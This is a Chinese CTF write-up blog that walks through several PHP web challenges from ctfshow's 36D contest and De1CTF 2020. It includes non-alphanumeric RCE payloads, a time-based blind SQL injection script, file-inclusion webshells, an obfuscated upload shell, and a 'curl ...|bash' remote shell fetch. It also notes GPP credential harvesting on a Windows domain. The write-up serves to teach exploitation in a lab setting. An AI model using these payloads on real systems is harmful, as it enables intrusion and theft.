$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");
?>

感觉他这个最后的eval("echo($code);");是想让echo $hint;然而这个黑名单太弱鸡了,可以直接RCE。大名鼎鼎的P牛曾经发过无字母数字的RCE方法,直接拿来他的Payload:

?code=" ");$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//

先把前面echo()给闭合了然后上Payload之后再吧后面给注释了,P神的Payload直接保存在本地了拿过来直接用,再POST提交_=system('cat /flag');即可。


给你shell

考点:代码审计、弱类型、JSON伪造、fuzz、苛刻条件RCE

难度:难

这是我出的一个比较恶心的题目,难度确实很高因为后面的黑名单没有给出而且过滤了很多东西。

第一层

打开题目可以看到写着:I prepared a webshell for you,查看HTML源码发现了view_source:

点开得到源码:

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}

function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}

function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

代码使用了三目运算符,感觉大家都能看得懂,这里只能迷惑一下小白(不过小白就算这里过了后面估计也做不出来2333)

代码逻辑如下:

  • 有个名为secret的cookie,存的是json
  • checkCookie()函数要求这个json只有一对键值,并且不能有乱七八糟的其他符号
  • check过了就会json_decode()并且保存在$obj
  • 如果secret对应值和$flag_md5相等则给出shell,不等则调用haveFun()函数
  • haveFun()函数的for循环中用i和flag的md5按位&运算并输出结果

这里先说一下,有师傅问为什么0和64输出了40个,而循环明明走了30轮?实际上,view_source看到的并不是index.php的一模一样的源码,虽然里面有show_source(__FILE__);,但请问:如果真的是show_source(__FILE__);那么index.php的前端那些html代码去哪了?实际上,我只是把这些代码保存到了一个txt文件,如果设置了$_GET['view_source']highlight_file()那个txt,这样可以减少不必要的html代码输出,更直观一些。不过因为上题时候忘了改,index.php里循环跑了40次,实际上跑的是sha1()的长度,然后sha1和md5返回的长度不一样,最开始是用sha1后来改成了md5,但是循环次数那里忘了改,于是就多跑了8次循环,不过无所谓

弱类型

实际上,这题不懂haveFun()都无所谓,因为是要做比较$obj['secret'] != $flag_md5,肯定是弱类型,直接无脑爆破就好了

这个haveFun()是做&运算,如果是数字和0xC0&结果就是0,如果是字母则结果是64,转成二进制自己算一下就知道了,这里不展开细说。然后根据返回的前3位是0可知是3位数的弱类型

这里有师傅说了,三位数字也可能是001、088这样数字开头的md5,这完全有可能,但其实json不能处理这样的数字,本地搭环境试一下就知道,这样$obj['secret']会得到null

JSON伪造

$obj['secret']是在cookie的JSON进行decode得到的,然而直接这样的JSON会返回字符串,不能用弱类型:

{"secret":"100"}

可以来观察一下这个正则就发现了问题:

/^[\"0-9A-Z]*}$/

正则直接将引号放到了[]里面,后面限定还是使用了星号,这意味着可以不使用双引号,对于没有双引号的话json_decode()就可以得到int了。直接burp intruder爆破:

Cookie: secret=%7B%22secret%22%3A§100§%7D; PHPSESSID=qo4945s5fmf4cm9felkraciok4

非常快就跑出来了这个值为115(特意选了小的数,为了减小服务器压力,只要get到考点就十六个包就Ok了)

FUZZ

然后来到shell,发现是个套娃,还需要bypass,给了源码:

<?php
error_reporting(0);
session_start();

//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";

if (!$_SESSION['login'])
    die('<script>location.href=\'./index.php\'</script>');

if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}

/*
 * When you feel that you are lost, do not give up, fight and move on.
 * Being a hacker is not easy, it requires effort and sacrifice.
 * But remember … we are legion!
 *  ————Deep CTF 2020
*/

源码主要有两点恶心的:

  • 1.黑名单不可见,需要自己fuzz
  • 2.eval()只能用来设置session

fuzz黑名单就和做SQL注入时候fuzz一样,用burp或者自己写Python脚本,记得带上session不然会跳转,这是常规操作不展开说了,fuzz结果如下:

  • f、sys、include
  • 括号、引号、分号
  • ^ &等运算符
  • 空格 / \ $ ` * #等符号

Bypass&RCE

可以看到这黑名单ban的简直丧心病狂,分析一下:

  • 没括号 只能执行很少不需要括号的函数 比如echo “aaa”;
  • 然后又没有引号 不能自己传值
  • 还没有空格 执行函数的话必须后面直接接上东西
  • 没有分号,很恶心
  • 命令在$_SESSION[' ']里,还需要先逃逸出来
  • 没有$和分号,命令拼接无效

直接给payload吧:

?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
  • 首先用]=1来把session给闭合了
  • 分号作为PHP语句的结尾,起到表示语句结尾和语句间分隔的作用,而对于php的单行模式是不需要分号的,因此用?><?来bypass分号,这里我刚考完然后De1CTF就考了这个考点
  • 没有括号 使用那些不需要括号的函数 这里使用require
  • 没有引号表示不能自己传参数,这里使用取反运算
  • 由于PHP黑魔法 require和取反运算符之间不需要空格照样执行

这样就读了flag.txt,得到:

可以,说明你ctfshow的红包2没白做,flag在/flag,同样的方法去读取吧。

然后取反/flag包含一下flag就出来了:

?code=]=1?><?=require~%d0%99%93%9e%98?>

ALL_INFO_YOU_WANT

考点:敏感文件泄露、文件上传原理、phpinfo包含、日志包含、linux命令

难度:简单

我认为这是个白给题,然而很多选手卡在了phpinfo,很思维僵化的去条件竞争包含临时文件,这么慢的不可能包含成功,后面特意放了hint:不需要跑脚本

本题目有两种预期解法,PHPINFO包含或者日志包含,我主要讲PHPINFO+包含临时文件的方法

信息搜集

首先,前端是个无用的魔方(还真有人还原成功了 给跪了),直接先F12发现注释:

<!-- find something by your scanner -->

丢进扫描器,扫到备份文件index.php.bak,下载,打开:


visit all_info_u_want.php and you will get all information you want
= =Thinking that it may be difficult, i decided to show you the source code:

<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
    phpinfo();
}

if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}
?>

really really really baby challenge right?

分析代码

第一行写着all_info_u_want.php可能好多人没看到,对着index.php一通乱锤然后私聊我为啥没出phpinfo是不是题目坏了….

可以看到这代码很简单,给phpinfo+包含,因为包含时候前面拼接了路径,因此php wrapper无法使用,通过PHPINFO也能发现不能url_include,但是可以构造目录穿越来包含。

因为题目的Dockerfile和我的不一样,题目最初默认开了session.upload_progress.enabled导致有的师傅去条件竞争session,然而大概也不会成功因为比较卡,发现后就把这个给关了。

预期解法1 – 包含日志文件

这种解法比较签到,是常规思路,这题的定位本来就是个白给的题目,所以就没改掉日志

由http回包header得知是NGINX,直接:

all_info_u_want.php?file=../../../../../var/log/nginx/access.log

但是因为url会被url编码,可以把一句话木马写在User-Agent,另外记得一定要闭合不然php执行会出错,包含即可RCE:

预期解法2 – 包含临时文件

这里肯定有人疑惑了,常规的包含临时文件有如下2种方法:

  • 1.条件竞争 不断上传然后包含
  • 2.利用php7的segment fault

但是本题目都不适用,还怎么包含临时文件?

相信你肯定看过这张图:

php会在脚本执行结束后删掉临时文件,而段错误方法就是让php执行突然中止这样临时文件就保留了。

既然“php会在脚本执行结束后删掉临时文件”,不让PHP的脚本执行结束不就行了吧?只要自身包含自身就进入了死循环,死循环要么被用户打断要么被nginx超时掉,php执行没有结束,临时文件不就得以保存了吗?

另外,可以通过phpinfo()来看临时文件的位置,带上all_info_i_want参数来打开phpinfo,然后开始自身包含,写个上传表单:

<html>
<form action="https://81f8611a-900b-416f-ba07-eb70eca7aed1.chall.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="post" enctype="multipart/form-data">
    <input type="file" name="filename">
    <input type="submit" value="提交">
</form>
</body>
</html>

上传后直接手工停掉他的死循环防止卡死,然后phpinfo里就能看到临时文件了:

包含之,即可getshell:

linux命令考察

因为告诉了需要自己找flag,肯定是要find命令,先弹个shell

y1ng=system('curl http://y1ng.vip/shell.txt|bash');

很多人肯定是用了这个命令 但是找不到:

因为这个命令会的人太多了,想让大家学点儿别的,既然flag的名字不是flag,就只能搜文件内容了

find /etc -name "*" | xargs grep "flag{"

但是因为告诉了/etc目录 也不排除有人是手工翻出来的


Login_Only_For_36D

考点:吞单引号、区分大小写的regexp、时间盲注

难度:普通

这题是非常非常常规的注入思路,但是最开始很长时间都没人做,不知道是不是看到solve少就直接吓跑了

但是这题因为关键字过滤的不是很充分,导致了一些非预期

fuzz

注释直接给了sql语句:

<!-- if (!preg_match('/admin/', $uname)) die; -->
<!-- select * from 36d_user where username='$uname' and password='$passwd'; -->

fuzz发现ban掉了:

  • 单引号
  • select substr等很多关键字
  • = > <
  • 空格 – ; |等符号

分析&盲注

然后看下这个正则:

if (!preg_match('/admin/', $uname)) die;

一方面,他告诉了用户名是admin;另一方面,它存在漏洞,因为是匹配,只要含有admin就可以了,因此可以用admin\把单引号注释掉让后面$passwd逃逸出去,包括后面用的regexp binary都是BJDCTF 2nd刚考过的考点

逃逸之后,用注释符代替空格,用#做注释符,整个SQL语句大致为:

select * from 36d_user where username='admin\' and password=' your_sql_here# ';

可以看到这个username必不可能存在,语句查询后面需要用or语句;sql语句给了column名叫password直接往出注就好了,根据过滤可以考虑使用regexp binary。测试发现即使构造布尔true也会返回登录错误,不能布尔盲注,因而只能时间盲注了。脚本:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t

url = 'http://127.0.0.1:9990/'
alphabet = ['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

data = {
    'username':'admin\\',
    'password':''
}

result = ''
for i in range(20):
    for char in alphabet:
        payload = 'or/**/if((password/**/regexp/**/binary/**/"^{}"),sleep(4),1)#'.format(result+char)
        data['password'] = payload
        #time
        start = int(t.time())
        r = requests.post(url, data=data)
        end = int(t.time()) - start

        if end >= 3:
            result += char
            print(result)
            break
        # else:
            # print(char)
            # print(r.text)

根据网络情况调整延时的时长,注出来密码登录即可看到flag。

非预期示例 – Mrkaixin

不过因为ban的函数比较少,还是出现了一些非预期,不过这样也好,可以大胆发挥,这里举一个非预期例子:

# -*- coding: utf-8 -*-
""" Python
Author: Mrkaixin
Date: 2020-05-01 19:32
FileName: exp.py
"""

import binascii


def hex(num):
    num = str(num)
    return "0x" + str(binascii.b2a_hex(num.encode('utf-8')), 'utf-8')


def main():
    global temp_text
    import requests

    url = "https://496ed4ab-ed77-4234-a723-757d1068f4c1.chall.ctf.show/"
    requests.packages.urllib3.disable_warnings()

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    temp_text = ""
    for j in range(1, 50):
        for i in range(0x20, 0xff):
            payload = f'username=admin\&password=or(if(right(left(`password`,{j}),1)in(binary({hex(temp_text + chr(i))})),sleep(3),1))#'

            try:
                response = requests.request("POST", url, headers=headers, data=payload, timeout=3, 
                                            verify=False)
            except:
                temp_text += chr(i)
                print(temp_text)
                break

    print(temp_text)


if __name__ == '__main__':
    main()

Remote_Image_Downloader

考点:PhantomJS任意文件读取

难度:简单

原题:Fireshell 2020 ScreenShooter

直接原题拿过来,自己写了个前端+后端写了个下载功能,别的一点没变,做法一模一样,直接点击上面的原题看原题wp吧


WUSTCTF_朴实无华_Revenge

考点:浮点精度、md5爆破、命令执行绕过、Linux命令

难度:简单

这题因为出题中多次翻车,出现很多非常简单的非预期,非预期都很简单大家都能直接看出来,这里只介绍预期解

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.]/', $num)) {
        die("非洲欢迎你1");
    } else {
        if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
            die("没有这样的数");
        }
    }
    if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        if (preg_match("/['\*\"[?]/", $get_flag)) {
            die('非预期修复*2');
        }
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

修到最后,还是有非预期,然后我现在已经懒得修了,cop师傅给了个可用的非预期:00.0

第一层

先分析,由这个判断可知需要传一个整数进去:

if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

但是正则中放了小数点:/[^0-9.]/

由这个判断可知不能用int溢出:

if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }

由这个判断可知需要传进去的是回文又不是回文,是个矛盾判断:

if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }

对于这个矛盾判断实际上很好绕过,比如100.0010,这种就可以绕过了,关键在于这个intval($num)==$num不好绕:

$numPositve = intval($num);
if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

可以发现,这里使用了不严格判断,也就是俩等号,这样的话就可以使用浮点精度来绕过:

不仅PHP,浮点精度问题在很多语言中都有,这是老生常谈的问题,不做过多介绍了。

然后为了!isPalindrome($num) 就在后面再加上一个0即可,payload:

?num=1000000000000000.00000000000000010

第二层

主要是要碰撞一个这样的md5:

$md5==md5(md5($md5))

无脑碰撞,最笨比的爆破方法,2h出结果:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#__Author__: 颖奇L'Amore www.gem-love.com

import hashlib

for i in range(0,10**33):
    i = str(i)
    num = '0e' + i
    md5 = hashlib.md5(num.encode()).hexdigest()
    md5 = hashlib.md5(md5.encode()).hexdigest()
    # print(md5)
    if md5[0:2] == '0e' and md5[2:].isdigit():
        print('success str:{}  md5(str):{}'.format(num, md5))
        break
    else:
        if int(i) % 1000000 == 0:
         print(i)

得到结果:0e1138100474

在Hack Dat Kiwi 2017 Md5 Game2中,出了md5($md5) == md5(md5($md5))的题目,当然也是爆破,但是官方wp对爆破的效率等进行了分析,感兴趣的自行阅读:

To do this challenge, we must first do the math. MD5 is 128 bit. To force a collision, we need to generate 2128 entries, which is roughly 103*12.8 = 1038 (210 ~= 103). However, according to Birthday Paradox, to have a 50% chance of collision, we need to only generate Sqrt(2128 * 2), which is roughly 264, roughly 1019.

That’s still too much, although achievable in theory. Our single-machine brute-force power is roughly 230 to 240 instructions, and 220 to 230 MD5s. And that’s why we use Rainbow Tables for breaking MD5.

In MD5 1, we wanted to create a string, that has a hash in pattern 0e[0-9]{30}. A match could be found in roughly 10 million generations (roughly 10 seconds). In MD5 2, we need to do the same process twice, i.e., find some string that has a hash in pattern 0e[0-9]{30}, and then find enough of those strings to have one of them match the same pattern. That would be 10 million x 10 million, i.e. 10 seconds * 10 million, i.e. 100 million seconds. Clearly this is not the solution (3 years on a single machine).

However, we can use Meet in the Middle to break down the complexity, just like Birthday Paradox uses meet in the middle to break down the complexity significantly. To do that, we need to borrow MD5 Games 1’s solution.

What we want to do, is instead of doing step 1 (find a string that has a hash of 0e[0-9]{30}) 10 million times, and then do step 2 10 million times on each of the step 1’s results, we start in between and go back and forth at the same time.

We want to start from a large set of 0e[0-9]{30}s (or equivalent, as in 00e[0-9]{29} etc.) called S, generated via a script. Then we keep hashing these until we find one that correlates to another 0e[0-9]{30} (or equivalent) called E. This process requires 10 million computations (roughly 10-100 seconds). Now we want to be able to reverse the item from set S (called E), into something that hashes into E. That’s where we use Rainbox Tables (hash breakers). Of course for our random hash E, the chances of Rainbox Table breaking it are very low. However, by generating multiple Es (roughly a thousand) we have a good chance of getting back a string that hashes to one of those Es.

Keep in mind that unlike MD5 1, where we needed a specific string (in form 0e[0-9]+) that hashed into 0e[0-9]{30}, here we can use any string as source, although it doesn’t make any computational difference. Thus, the computation complexity of MD5 Games 2 would be roughly 1000 times higher than that of MD5 Games 1. If you had a good code for that (10 seconds result) you should get a result after 10,000 seconds of finding Es. But you have to know the odds and do the math before you try the rainbow table (many of which are freely available online), otherwise you’ll be stuck in a loop forever.

还有个队内的师傅的脚本10min内就出结果。

第三层

命令执行,ban了很多东西:

if(!strstr($get_flag," ")){
    $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
    if (preg_match("/['\*\"[?]/", $get_flag)) {
        die('非预期修复*2');
    }
    echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
    system($get_flag);
}

考察linux基础,解法不唯一,这里只给一种例子:

?num=1000000000000000.00000000000000010&md5=0e1138100474&get_flag=ca\t<flag.ph\p

实际上反斜线也算非预期吧,当时ban php想的是防止php反弹shell,然后flag放在根目录下,用rev</flag|rev来读取,后来因为管理员build时候把flag放在flag.php,读取的话需要绕过php所以反斜线就保留下来了

总之非预期不非预期的吧都无所谓,出题的初衷是希望大家学到点东西

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2283.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2283.html/feed 1
第六届XCTF开幕赛De1CTF 2020 Writeup https://www.gem-love.com/ctf/2302.html https://www.gem-love.com/ctf/2302.html#respond Mon, 04 May 2020 04:49:38 +0000 https://www.gem-love.com/?p=2302 Author:颖奇L’Amore

Blog:www.gem-love.com


Check In

考点:.htaccess重写、CGI

难度:简单

题目上传不会修改文件名,但是过滤了ph,对于此类题目考虑htaccess重写

但是本题目会检测文件内容 黑名单:

perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet

文件内容内可以用php短标签绕过,但是htaccess里不好办,感觉应该是CGI,这样可以解析CGI:

Options +ExecCGI
SetHandler cgi-script

但是传的CGI一直是500,本机是mac,默认就是Unix编码了,换行符什么的也没问题但是没成功。返回500应该是CGI被成功执行了但是执行出错了,搞了一会发现了非预期,可以直接用换行符绕过

AddType application/x-httpd-p\
hp .jpg

然后短标签即可RCE:

<?=eval($_POST['y1ng']);

Hard_Pentest_1

考点:上传getshell、渗透

难度:难

第一步getshell

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="submit">
</form>

</body>
</html>

测试发现,题目对于大小写不敏感,结合题目名要做渗透,所以是Windows,绕过ext的blacklist就用phP即可;

然后还有个非常严格的正则:

/[a-z0-9;~^`&|]/is

这个可以参考p神的无字母数字RCE的Payload,然而题目同时还过滤了分号,正好我昨天刚做了一个无分号RCE,分号作为一种语句的结束和多个语句之间的分隔,但是在在PHP的单行模式中是不需要分号做语句的分隔的,比如:

<? echo("aa") ?>

这一点在2019XCTF Final中也有考,用?><?代替分号,然后构造一个$_POST[__]($_POST[_])上传来RCE:

POST /index.php HTTP/1.1
Host: 47.113.219.76
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12605381933760350646680255562
Content-Length: 1890
Origin: <http://47.113.219.76>
Connection: close
Referer: <http://47.113.219.76/>
Upgrade-Insecure-Requests: 1

-----------------------------12605381933760350646680255562
Content-Disposition: form-data; name="file"; filename="a.phP"
Content-Type: text/php

<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>
-----------------------------12605381933760350646680255562
Content-Disposition: form-data; name="submit"

submit
-----------------------------12605381933760350646680255562--

这样就得到了一句话木马,但是这种不能蚁剑连,所以写一个可以蚁剑连接的马:

__=system&_=echo "<?php eval($_POST['y1ng']);?>">y1ng.php

第二步渗透

net user /domain可以看到一个叫HintZip_Pass的用户名,告诉我们要搞zip的密码,因为权限设置的不是特别严格,可以看到别的选手的上传文件夹,以及C盘目录,于是写了个扫描器看看别人都在搞什么、随时准备上车:

<?php   
$file = "..";
function list_file($date){
    $temp = scandir($date);
    foreach( $temp as $v){
        $a = $date . '/' . $v;
       if( is_dir($a) ){
           if( $v == '.' || $v == '..') continue;
           list_file($a);
       }else if (strlen(file_get_contents($a)) != 0) echo $a."<br>";
    }
}
list_file($file);

然后就顺利的拿到了zip压缩包

实际上可以在net view \\192.168.0.12时候看到共享盘,dir一下即可得到zip,还有SYSVOL。

因为SYSVOL,用gpp获取密码,弹个msf的meterpreter shell然后用windows/gather/credencials/gpp一把梭

解压zip得到:

flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y}

Get flag2 Hint:
hint1: You need De1ta user to get flag2
hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f].
hint3: Pay attention to the extended rights of De1ta user on the domain.
hint4: flag2 in Domain Controller (C:\Users\Administrator\Desktop\flag.txt)

PS: Please do not damage the environment after getting permission, thanks QAQ.

calc

考点:SpEL表达式注入

难度:中等

